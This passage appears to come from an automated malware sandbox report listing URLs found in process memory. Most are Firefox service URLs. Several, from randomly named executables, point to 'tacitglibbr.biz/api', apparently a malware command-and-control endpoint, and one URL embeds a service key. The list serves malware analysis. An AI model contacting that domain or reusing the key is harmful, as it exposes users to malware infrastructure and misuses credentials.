Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000003.3174425220.0000028B3C21E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3394093256.00000BEE80004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.3258449609.0000028B38303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3106495286.0000028B3AA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsMozilla
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B3E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000024.00000002.3294534369.0000028B3B00F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000024.00000002.3397874978.00002833AB504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3258449609.0000028B38320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sisDefault
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttp://poczta.interia.pl/mh/?mailto=%sisDownloadsImprovementsAlre
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.
Source: firefox.exe, 00000024.00000002.3225615752.0000028B2ADD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000024.00000002.3270210836.0000028B38CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s_isRemoteDebuggingEnabled/remoteDebuggingEnab
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comdevtools-commandkey-storageNo
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000024.00000002.3357886781.0000028B3ED47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000024.00000002.3270210836.0000028B38CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000024.00000003.3106495286.0000028B3AA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-2.js
Source: firefox.exe, 00000024.00000002.3270210836.0000028B38CBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comP
Source: firefox.exe, 00000024.00000002.3320756684.0000028B3C771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: skotes.exe, 0000000E.00000003.7173903812.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000024.00000002.3357886781.0000028B3ED47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43983000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3316730011.0000028B3C3E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000024.00000002.3357886781.0000028B3ED47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000024.00000002.3339987753.0000028B3D537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000024.00000002.3311551050.0000028B3BE08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000024.00000002.3311551050.0000028B3BE08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3298635178.0000028B3B8F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000024.00000002.3270210836.0000028B38CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000024.00000002.3339987753.0000028B3D537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3287996082.0000028B3A916000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: ba324316e4.exe, 00000012.00000003.3411754978.000000000BDEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 00000024.00000002.3304975728.0000028B3B9A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000024.00000002.3344727910.0000028B3E3BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 90c05232da.exe, 00000011.00000003.2967583804.0000000005799000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: ba324316e4.exe, 00000012.00000003.3411754978.000000000BDEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 90c05232da.exe, 00000011.00000003.3162655463.000000000083D000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000014.00000002.3076095968.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/
Source: 90c05232da.exe, 00000014.00000002.3076095968.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/46
Source: 90c05232da.exe, 00000011.00000003.3018973506.00000000008B0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2995774052.00000000008A6000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000014.00000002.3076095968.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000014.00000002.3076095968.0000000000C80000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000014.00000002.3076095968.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api
Source: 90c05232da.exe, 00000011.00000003.3082242599.00000000008B0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3060496486.00000000008B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api0m
Source: 90c05232da.exe, 00000011.00000003.3018973506.00000000008B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apimbeddedCY
Source: 90c05232da.exe, 00000011.00000003.3082242599.00000000008B0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3060496486.00000000008B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apisBf
